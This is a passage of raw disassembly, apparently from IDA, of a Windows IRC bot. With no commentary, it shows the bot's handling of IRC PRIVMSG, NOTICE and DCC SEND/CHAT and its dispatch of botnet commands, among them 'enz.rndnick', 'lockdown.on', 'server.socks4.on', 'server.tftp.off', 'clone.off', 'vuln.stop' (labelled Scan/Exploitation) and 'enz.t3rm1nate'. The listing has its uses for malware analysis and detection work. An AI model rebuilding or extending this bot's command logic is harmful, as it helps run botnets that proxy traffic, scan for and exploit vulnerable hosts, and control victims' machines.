		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_436464
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_4158F0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D1FD
		lea	eax, [ebp-2C8h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D1F2
; ---------------------------------------------------------------------------


loc_40D453:				; CODE XREF: seg000:0040D3B8j
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4158F0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D4A7
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D4A7
		push	dword ptr [ebp-90h]
		push	offset dword_436450
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412974
		cmp	ds:dword_42C15C, ebx
		jz	loc_412974


loc_40D4A7:				; CODE XREF: seg000:0040D46Dj
					; seg000:0040D47Fj
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D62D
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D62D
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_40D4EE:				; CODE XREF: seg000:0040D6E9j
					; seg000:0040D77Aj ...
		shl	esi, 2
		mov	eax, [ebp+esi-94h]
		lea	edi, [ebp+esi-94h]
		push	eax
		push	offset dword_436448
		mov	[ebp+10h], eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D927
		push	dword ptr [ebp+esi-90h]
		push	offset aSend_0	; "SEND"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D7E5
		cmp	[ebp-98h], ebx
		jz	loc_40D7BB
		push	dword ptr [ebp+esi-8Ch]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp-6FCh]
		push	edi
		push	eax
		call	sub_4154CD
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	edi
		push	eax
		call	sub_4154CD
		push	dword ptr [ebp+esi-84h]
		call	sub_415A3F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_436400
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_414F79
		add	esp, 44h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	40BA98h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	loc_40D7AA


loc_40D617:				; CODE XREF: seg000:0040D62Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40D7DD
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40D617
; ---------------------------------------------------------------------------


loc_40D62D:				; CODE XREF: seg000:0040D4B7j
					; seg000:0040D4CDj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D646
		mov	dword ptr [ebp-4], 1


loc_40D646:				; CODE XREF: seg000:0040D63Dj
		cmp	[ebp-8Ch], ebx
		jz	loc_40D1FD
		push	(offset	loc_4263DB+1)
		push	dword ptr [ebp-8Ch]
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D66D
		cmp	[ebp-4], ebx
		jz	short loc_40D679


loc_40D66D:				; CODE XREF: seg000:0040D666j
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_40D679:				; CODE XREF: seg000:0040D66Bj
		cmp	[ebp-88h], ebx
		jz	loc_40D1FD
		inc	dword ptr [ebp-88h]
		jz	short loc_40D6C5
		cmp	[ebp+18h], ebx
		jz	short loc_40D6C5
		lea	eax, [ebp-564h]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_416EB0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40D6CB
; ---------------------------------------------------------------------------


loc_40D6C5:				; CODE XREF: seg000:0040D68Bj
					; seg000:0040D690j
		mov	esi, [ebp-0ACh]


loc_40D6CB:				; CODE XREF: seg000:0040D6C3j
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_40D1FD
		push	edi
		push	offset dword_4363F4
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D4EE
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D76B
		mov	eax, ds:dword_46897C
		mov	eax, ds:off_42C224[eax*4]
		cmp	[eax], bl
		jz	short loc_40D76B
		push	eax
		push	ecx
		push	offset dword_4363D8
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		add	esp, 20h
		cmp	[ebp-98h], ebx
		jnz	loc_40D1FD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1
		push	eax
		push	offset dword_468884


loc_40D75B:				; CODE XREF: seg000:0041212Dj
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D76B:				; CODE XREF: seg000:0040D6F8j
					; seg000:0040D708j
		push	edi
		push	offset dword_4363B4
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D4EE
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_40D4EE
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D4EE
		push	eax
		push	ecx
		push	offset dword_43639C
		jmp	loc_40D1F2
; ---------------------------------------------------------------------------


loc_40D7AA:				; CODE XREF: seg000:0040D611j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436350
		jmp	loc_40D913
; ---------------------------------------------------------------------------


loc_40D7BB:				; CODE XREF: seg000:0040D538j
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+esi-8Ch]
		push	offset dword_4362FC
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_40D7DD:				; CODE XREF: seg000:0040D61Dj
					; seg000:0040D8DBj ...
		push	1
		pop	esi
		jmp	loc_40EF8E
; ---------------------------------------------------------------------------


loc_40D7E5:				; CODE XREF: seg000:0040D52Cj
		push	dword ptr [ebp+esi-90h]
		push	offset aChat	; "CHAT"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D93D
		cmp	[ebp-98h], ebx
		jz	loc_40D907
		push	13h
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	loc_40D8F9
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		push	dword ptr [ebp+esi-84h]
		call	sub_415A3F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4362C0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	13h
		push	eax
		call	sub_414F79
		add	esp, 34h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset loc_40B535
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40D8EB


loc_40D8D5:				; CODE XREF: seg000:0040D8E9j
		cmp	[ebp-568h], ebx
		jnz	loc_40D7DD
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40D8D5
; ---------------------------------------------------------------------------


loc_40D8EB:				; CODE XREF: seg000:0040D8D3j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436278
		jmp	short loc_40D913
; ---------------------------------------------------------------------------


loc_40D8F9:				; CODE XREF: seg000:0040D816j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_436234
		jmp	short loc_40D913
; ---------------------------------------------------------------------------


loc_40D907:				; CODE XREF: seg000:0040D806j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4361F0


loc_40D913:				; CODE XREF: seg000:0040D7B6j
					; seg000:0040D8F7j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_40D927:				; CODE XREF: seg000:0040D511j
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42C164
		mov	[edi], ecx
		jnz	loc_40D1FD


loc_40D93D:				; CODE XREF: seg000:0040D7FAj
		mov	edi, [edi]
		push	edi
		push	offset aNewshit0 ; "newshit0"
		mov	[ebp+10h], edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41297C
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41297C
		cmp	[ebp-98h], ebx
		jnz	short loc_40D98E
		push	dword ptr [ebp-90h]
		push	offset dword_436450
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412974


loc_40D98E:				; CODE XREF: seg000:0040D972j
		cmp	[ebp+30h], ebx
		jnz	loc_412974
		xor	edi, edi
		cmp	ds:dword_42E764, ebx
		jle	loc_40DB3A
		mov	dword ptr [ebp+28h], offset dword_43E788


loc_40D9AC:				; CODE XREF: seg000:0040D9CBj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9D2
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, ds:dword_42E764
		jl	short loc_40D9AC
		jmp	loc_40DB3A
; ---------------------------------------------------------------------------


loc_40D9D2:				; CODE XREF: seg000:0040D9BBj
		push	offset asc_43656C ; " :"
		push	dword ptr [ebp+8]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D1FD
		mov	cl, ds:byte_42C164
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42C164
		mov	[eax+3], cl
		lea	ecx, dword_43E7A0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D20
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax


loc_40DA27:				; CODE XREF: seg000:0040DACFj
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DA93
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jz	short loc_40DA93
		lea	eax, dword_43E788[edi]
		push	eax
		call	sub_415CD0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40DAC5
		mov	eax, [ebp+14h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAC5
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		add	esp, 0Ch
		jmp	short loc_40DAC5
; ---------------------------------------------------------------------------


loc_40DA93:				; CODE XREF: seg000:0040DA4Fj
					; seg000:0040DA56j
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jnz	short loc_40DAC5
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		add	esp, 18h


loc_40DAC5:				; CODE XREF: seg000:0040DA68j
					; seg000:0040DA7Cj ...
		dec	dword ptr [ebp+28h]
		sub	dword ptr [ebp+14h], 4
		cmp	[ebp+28h], ebx
		jg	loc_40DA27
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_40DAE2:				; CODE XREF: seg000:0040DB2Ej
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DB25
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DB25
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		add	esp, 0Ch


loc_40DB25:				; CODE XREF: seg000:0040DB0Aj
					; seg000:0040DB10j
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_40DAE2
		mov	dword ptr [ebp-0C8h], 1


loc_40DB3A:				; CODE XREF: seg000:0040D99Fj
					; seg000:0040D9CDj
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, ds:byte_42C164
		jz	short loc_40DB53
		cmp	[ebp-0C8h], ebx
		jz	loc_40DD38


loc_40DB53:				; CODE XREF: seg000:0040DB45j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40998E
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40998E
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40998E
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_414419
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40998E
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_40998E
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 14h


loc_40DBC5:				; CODE XREF: seg000:0040DCB1j
		test	eax, eax
		jz	loc_40DCB6
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AA0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0A4h]
		push	offset asc_4361A0 ; ")"
		push	eax
		call	sub_416C78
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A4h], 30h
		jl	short loc_40DC11
		cmp	byte ptr [ebp-0A4h], 39h
		jle	short loc_40DC27


loc_40DC11:				; CODE XREF: seg000:0040DC06j
		push	3
		lea	eax, [ebp-0A4h]
		push	offset a63	; "63"
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40DC27:				; CODE XREF: seg000:0040DC0Fj
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	short loc_40DC4A
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_415A3F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_40DC5B
; ---------------------------------------------------------------------------


loc_40DC4A:				; CODE XREF: seg000:0040DC36j
		call	sub_415529
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_40DC5B:				; CODE XREF: seg000:0040DC48j
		lea	eax, [ebp-0A4h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_415CD0
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A4h]
		push	ebx
		push	eax
		call	sub_415550
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A4h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 30h
		jmp	loc_40DBC5
; ---------------------------------------------------------------------------


loc_40DCB6:				; CODE XREF: seg000:0040DBC7j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-119Ch]
		push	offset asc_4269C8 ; " "
		push	eax
		call	sub_416C78
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_40DD06:				; CODE XREF: seg000:0040DD1Bj
		push	offset asc_4269C8 ; " "
		push	ebx
		call	sub_416C78
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40DD06
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_40D1FD
		add	ecx, 3
		mov	[eax], ecx


loc_40DD38:				; CODE XREF: seg000:0040DB4Dj
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+10h], edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412927
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412927
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412905
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412905
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412863
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412863
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412845
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412845
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41260E
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41260E
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEA8
		push	dword ptr [ebp+esi-90h]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_4360D0


loc_40DE8C:				; CODE XREF: seg000:0040DECCj
					; seg000:0040DEF2j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_415207
		add	esp, 20h
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40DEA8:				; CODE XREF: seg000:0040DE77j
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DECE
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_4360AC
		jmp	short loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DECE:				; CODE XREF: seg000:0040DEB7j
		push	edi
		push	offset dword_43609C
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEF4
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_436090
		jmp	short loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DEF4:				; CODE XREF: seg000:0040DEDDj
		push	edi
		push	offset dword_436088
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF1D
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_43607C
		push	offset dword_436070
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF1D:				; CODE XREF: seg000:0040DF03j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF46
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_43604C
		push	offset dword_43603C
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF46:				; CODE XREF: seg000:0040DF2Cj
		push	edi
		push	offset dword_436030
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF6F
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_436024
		push	offset dword_436018
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF6F:				; CODE XREF: seg000:0040DF55j
		push	edi
		push	offset dword_436008
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF98
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_435FFC
		push	offset dword_435FF0
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF98:				; CODE XREF: seg000:0040DF7Ej
		push	edi
		push	offset dword_435FE0
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFC1
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_435FD4
		push	offset dword_435FC8
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DFC1:				; CODE XREF: seg000:0040DFA7j
		push	edi
		push	offset dword_435FB8
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFEA
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_435FAC
		push	offset dword_435FA0
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DFEA:				; CODE XREF: seg000:0040DFD0j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E013
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_435F84
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E013:				; CODE XREF: seg000:0040DFF9j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F6
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F6
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125DE
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125DE
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E090
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_435F24
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E090:				; CODE XREF: seg000:0040E076j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0B9
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_435EFC
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E0B9:				; CODE XREF: seg000:0040E09Fj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0E2
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E0E2:				; CODE XREF: seg000:0040E0C8j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C8
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C8
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125A7
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125A7
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412585
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412585
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41253D
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41253D
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124FF
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124FF
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124C8
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124C8
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E230
		call	sub_409DD7
		test	eax, eax
		mov	eax, offset dword_435E20
		jnz	short loc_40E202
		mov	eax, offset dword_435DE8


loc_40E202:				; CODE XREF: seg000:0040E1FBj
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 1Ch
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


